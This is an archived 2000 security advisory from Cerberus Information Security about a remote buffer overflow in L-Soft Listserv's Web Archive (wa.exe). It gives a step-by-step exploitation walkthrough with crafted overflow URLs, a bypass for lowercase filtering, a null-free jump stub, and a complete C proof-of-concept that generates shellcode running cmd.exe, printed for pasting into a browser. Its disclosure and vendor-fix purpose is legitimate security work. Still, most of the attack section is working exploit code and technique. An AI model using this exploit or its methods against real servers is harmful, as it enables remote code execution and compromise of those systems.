CISADV000503.txt

2000-05-17T00:00:00
ID PACKETSTORM:10033
Type packetstorm
Reporter David Litchfield
Modified 2000-05-17T00:00:00

Description

                                        
                                            `Cerberus Information Security Advisory (CISADV000503)  
http://www.cerberus-infosec.co.uk/advisories.shtml  
  
Released : 3rd May 2000  
Name : Listserv Web Archives Buffer Overflow  
Affected Systems : *nix/Win32 Web Servers running  
Issue : Attackers can remotely execute arbitrary code  
Author : David Litchfield (mnemonix@globalnet.co.uk)  
  
Description  
***********  
The Cerberus Security Team has found a remotely exploitable buffer overrun  
in Lsoft's (www.lsoft.com) Listserv Web Archive component (wa/wa.exe v1.8d -  
this is the most recent version. Earlier versions may be affected.).  
Listserv is the world's most popular software package for providing mailing  
lists. The Web Archives component allows List owners to make available over  
the web mails that have been sent to the mailing list. Both the the Windows  
and Unix versions are affected by this overflow. By making a special formed  
request to the Web Archive component it is possible to overflow a buffer  
allowing arbitrary code to be executed, compromising the web server.  
  
  
Details  
*******  
This section specifically looks at the overrun on Windows NT 4 SP6a though  
the principle is same on the *nix versions.  
  
As far as exploiting this overrun is concerned there are two hurdles to  
overcome. Firstly, the string is tolower()ed - meaning that upper case  
letters are converted to lower case eg A -> a. This is a problem because  
some opcodes needed in any exploit code will squashed. For example the "push  
ebp" instruction is 55h - which is also the hex code for the uppercase  
letter "U". Due to the tolower()ing this will be converted to 75h - making  
it no longer the "push ebp" instruction.  
  
The second problem is that when the buffer is overflowed, overwriting the  
saved return address, before the ret(urn) is called a simple read access  
violation occurs:  
  
"The instruction at address 0x00427FC3 tried to read memory at 0x61616161"  
  
This happens because one of the instructions called before the ret(urn) is  
  
mov edi,dword ptr[ebp-14h]  
  
This tells the processor to move into the EDI register the address pointed  
to by the stack base pointer (EBP) minus 20 bytes. Due to the overflow, the  
value found at this address is now 0x61616161 (Remember, even though we've  
used upper case As to overflow the buffer they're converted to the lowercase  
"a" hence instead of there being 0x41414141 at this address it is  
0x61616161)  
  
A few instructions after this has been moved into the EDI there is  
  
cmp byte ptr[edi],0  
  
This will compare the value pointed to by the EDI register with 0. As the  
address in the EDI is 0x61616161 the processor goes to that address to get  
the value stored there to compare it with 0 but when it gets there it finds  
that the memory here has not been initialised. Hence the access violation.  
  
http://charon/scripts/wa.exe?A1=foobar&L=AAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAA  
  
  
To workaround this problem we have to insert into overflow string an address  
where the memory _is_ intialized - that is where a value can be found at  
that address. We know kernel32.dll _will_ be loaded into the address space  
of the process (it always is in any process on NT) so for safety's sake  
we'll insert into the overflow string an address smack bang in the middle of  
kernel32.dll.  
  
This way when the  
  
mov edi,dword ptr[ebp-14h]  
..  
cmp byte ptr[edi],0  
  
instructions are called we won't get the access violation. After a bit of  
trial and error we find that we need to set bytes 392,391,390 and 389 in our  
overflow string to an address where kernel32.dll is loaded. We'll get away  
with only having to set the more significant part of the address - ie bytes  
392 and 391 so we set these to %77 and %f3.  
  
When we have done this we try the overflow string again.  
  
http://charon/scripts/wa.exe?A1=foobar&L=AAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAA%f3%77AAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAA  
  
Bang! We now get the overflow we've been looking for:  
  
The instruction at 0x61616161 referenced memory at 0x61616161. This means  
we've gained control of the program's execution and we can direct it to  
where we want it to go to find the next instruction to execute. At this  
stage there's still a fairly long to go and there's no guarantee we will be  
able to exploit this due to the tolower()ing.  
  
First off we need find out what we have to work with. On debugging after the  
overflow we can see that the tail end of our overflow string can be found at  
the stack pointer - the ESP. So all we need to do is find an address in  
memory we there's a "jmp esp" or "call esp" instruction. This way if we  
overwrite the saved return address with such an address where we can find  
one of these instructions the processor will jump down to the ESP and start  
executing downwards from there.  
  
As you'll see though the tail of our exploit string is the tolower()ed  
version. We'll need to find if there is any occurence of our overflow string  
in memory that hasn't gone through the tolower()ing process. None of the  
registers point to anything useful so doing a manual search we eventually  
find our pristine string at address 0x00205370.  
  
If we can get back to this address somehow we'll be able to get a decent  
working exploit out of this. The easiest way to get there is to jump to it.  
  
What we could do then is write and embed a wee bit of code in the overflow  
string that ends up at the ESP which will jump us to address 0x00205370  
where we'll place our main bit of code making giving our overflow string the  
following format:  
  
main-code-goeshere-padding-readableaddress-padding-code-that'll-jump-us-to-t  
he-beginning-of-this-string  
  
The only problem is this bit of code that'll jump us to where we really want  
to go to cannot have any byte that'll be tolower()ed and on top of this the  
address we need to get back to has a NULL in it.  
  
As far as the NULL is concerned, this is easily resolved - we only have to  
subtract a number A by a number B to give us 0x00205370 eg:  
  
0xFFFFFFFF - 0xFFDFAC8F = 0x00205370  
  
We can mov 0xFFFFFFFF into a register and simply sub(tract) from it  
0xFFDFAC8F and be left with the address we need to jump to.  
  
  
mov edi, 0xFFFFFFFF  
sub edi, 0xFFDFAC8F  
jmp edi  
  
This is the code we need - but is there any character that will be  
tolower()ed?  
  
ba ff ff ff ff  
81 ea 87 ac df ff  
ff e2  
  
Looking at the byte info of the opcodes we can see that none of them will be  
tolower()ed. Cool. So now we've managed to get back to the beginning our  
unadulterated overflow string. It is here we'll place our main bit of  
exploit code. The sample code here is "proof of concept" only and will  
simply create a file called "cerberus.txt". More useful code is left as  
excercise of the imagination of the reader.  
  
  
  
/////////////////////////////////////////////////////////////////  
//  
//  
// LSOFT's Listserv web archives wa.exe buffer overflow  
//  
//  
// This is "proof of concept code" and will spawn a shell  
// perform a directory listing and redirect the output  
// to a file called "cerberus.txt". Will work on Windows NT 4  
// SP6a  
//  
//  
// David Litchfield (mnemonix@globalnet.co.uk)  
//  
// 1st May 2000  
//  
//  
// Cut and paste the output into your web browser.  
//  
/////////////////////////////////////////////////////////////////  
  
#include <stdio.h>  
int main()  
{  
unsigned char exploit[2000]="";  
int count = 0;  
  
while(count <100)  
{  
exploit[count]=0x90;  
count ++;  
}  
  
// push ebp  
exploit[count]=0x55;  
count ++;  
  
// mov ebp,esp  
exploit[count]=0x8B;  
count ++;  
exploit[count]=0xEC;  
count ++;  
  
// mov eax, 0x77f1a986  
exploit[count]=0xb8;  
count ++;  
exploit[count]=0x86;  
count ++;  
exploit[count]=0xa9;  
count ++;  
exploit[count]=0xf1;  
count ++;  
exploit[count]=0x77;  
count ++;  
  
// mov ebx, 0xffffffff  
exploit[count]=0xbb;  
count ++;  
exploit[count]=0xff;  
count ++;  
exploit[count]=0xff;  
count ++;  
exploit[count]=0xff;  
count ++;  
exploit[count]=0xff;  
count ++;  
  
file://sub ebx, 0xffffff8B  
exploit[count]=0x83;  
count ++;  
exploit[count]=0xeb;  
count ++;  
exploit[count]=0x8B;  
count ++;  
  
// push ebx  
exploit[count]=0x53;  
count ++;  
  
// push "xt.s"  
exploit[count]=0x68;  
count ++;  
exploit[count]=0x73;  
count ++;  
exploit[count]=0x2e;  
count ++;  
exploit[count]=0x74;  
count ++;  
exploit[count]=0x78;  
count ++;  
  
file://push "ureb"  
exploit[count]=0x68;  
count ++;  
exploit[count]=0x62;  
count ++;  
exploit[count]=0x65;  
count ++;  
exploit[count]=0x72;  
count ++;  
exploit[count]=0x75;  
count ++;  
  
file://push "rec "  
exploit[count]=0x68;  
count ++;  
exploit[count]=0x20;  
count ++;  
exploit[count]=0x63;  
count ++;  
exploit[count]=0x65;  
count ++;  
exploit[count]=0x72;  
count ++;  
  
file://push "> ri"  
exploit[count]=0x68;  
count ++;  
exploit[count]=0x69;  
count ++;  
exploit[count]=0x72;  
count ++;  
exploit[count]=0x20;  
count ++;  
exploit[count]=0x3e;  
count ++;  
  
file://push "d c/"  
exploit[count]=0x68;  
count ++;  
exploit[count]=0x2f;  
count ++;  
exploit[count]=0x63;  
count ++;  
exploit[count]=0x20;  
count ++;  
exploit[count]=0x64;  
count ++;  
  
file://push " exe"  
exploit[count]=0x68;  
count ++;  
exploit[count]=0x65;  
count ++;  
exploit[count]=0x78;  
count ++;  
exploit[count]=0x65;  
count ++;  
exploit[count]=0x20;  
count ++;  
  
  
file://push "cmd."  
exploit[count]=0x68;  
count ++;  
exploit[count]=0x63;  
count ++;  
exploit[count]=0x6d;  
count ++;  
exploit[count]=0x64;  
count ++;  
exploit[count]=0x2e;  
count ++;  
  
file://mov ebx, esp  
exploit[count]=0x8b;  
count ++;  
exploit[count]=0xdc;  
count ++;  
  
file://xor esi, esi  
exploit[count]=0x33;  
count ++;  
exploit[count]=0xf6;  
count ++;  
  
file://push esi  
exploit[count]=0x56;  
count ++;  
  
file://push ebx  
exploit[count]=0x53;  
count ++;  
  
file://call eax  
exploit[count]=0xff;  
count ++;  
exploit[count]=0xd0;  
count ++;  
  
// set a break point (int 3)  
while(count <420)  
{  
exploit[count]=0xCC;  
count ++;  
}  
  
  
// overwrite the return address  
  
exploit[count]=0x36;  
count ++;  
exploit[count]=0x28;  
count ++;  
exploit[count]=0xf3;  
count ++;  
exploit[count]=0x77;  
count ++;  
  
// put in 40 nops (0x90)  
  
while (count < 464)  
{  
exploit[count]=0x90;  
count ++;  
}  
  
// write our code that'll get us back into our un-tolower()ed string  
  
// move edx, 0xFFFFFFFF  
exploit[count]=0xBA;  
count ++;  
exploit[count]=0xFF;  
count ++;  
exploit[count]=0xFF;  
count ++;  
exploit[count]=0xFF;  
count ++;  
exploit[count]=0xFF;  
count ++;  
  
// sub edx, 0xFFDFAC87  
exploit[count]=0x81;  
count ++;  
exploit[count]=0xEA;  
count ++;  
exploit[count]=0x87;  
count ++;  
exploit[count]=0xAC;  
count ++;  
exploit[count]=0xDF;  
count ++;  
exploit[count]=0xFF;  
count ++;  
  
// jmp edx  
exploit[count]=0xFF;  
count ++;  
exploit[count]=0xE2;  
count ++;  
  
// set readable part in memory to stop first AV  
  
exploit[390]=0x36;  
exploit[390]=0xf3;  
exploit[391]=0x77;  
  
count = 0;  
while(count < 477)  
{  
printf("%%%x",exploit[count]);  
count ++;  
}  
  
return 0;  
}  
  
  
  
Solution  
********  
Lsoft has alerted their customers and have made avaiable a update that will  
fix this.  
  
A check for this has been added to our security scanner, CIS. More details  
about CIS can be found on our web site:  
http://www.cerberus-infosec.co.uk/  
  
Vendor Status  
*************  
Lsoft were alerted to this on the the 28th April 2000 and worked over the  
holiday to fix this. Cerberus would like to thank everyone involved for  
their prompt response.  
  
About Cerberus Information Security, Ltd  
*****************************************  
Cerberus Information Security, Ltd, a UK company, are specialists in  
penetration testing and other security auditing services. They are the  
developers of CIS (Cerberus' Internet security scanner) available for free  
from their website: http://www.cerberus-infosec.co.uk  
  
To ensure that the Cerberus Security Team remains one of the strongest  
security audit teams available globally they continually research operating  
system and popular service software vulnerabilites leading to the discovery  
of "world first" issues. This not only keeps the team sharp but also helps  
the industry and vendors as a whole ultimately protecting the end consumer.  
As testimony to their ability and expertise one just has to look at exactly  
how many major vulnerabilities have been discovered by the Cerberus Security  
Team - over 70 to date, making them a clear leader of companies offering  
such security services.  
  
Founded in late 1999, by Mark and David Litchfield, Cerberus Information  
Security, Ltd are located in London, UK but serves customers across the  
World. For more information about Cerberus Information Security, Ltd please  
visit their website or call on +44(0)208 395 4980.  
  
Permission is hereby granted to copy or redistribute this advisory but only  
in its entirety.  
  
Copyright (C) 2000 by Cerberus Information Security, Ltd  
`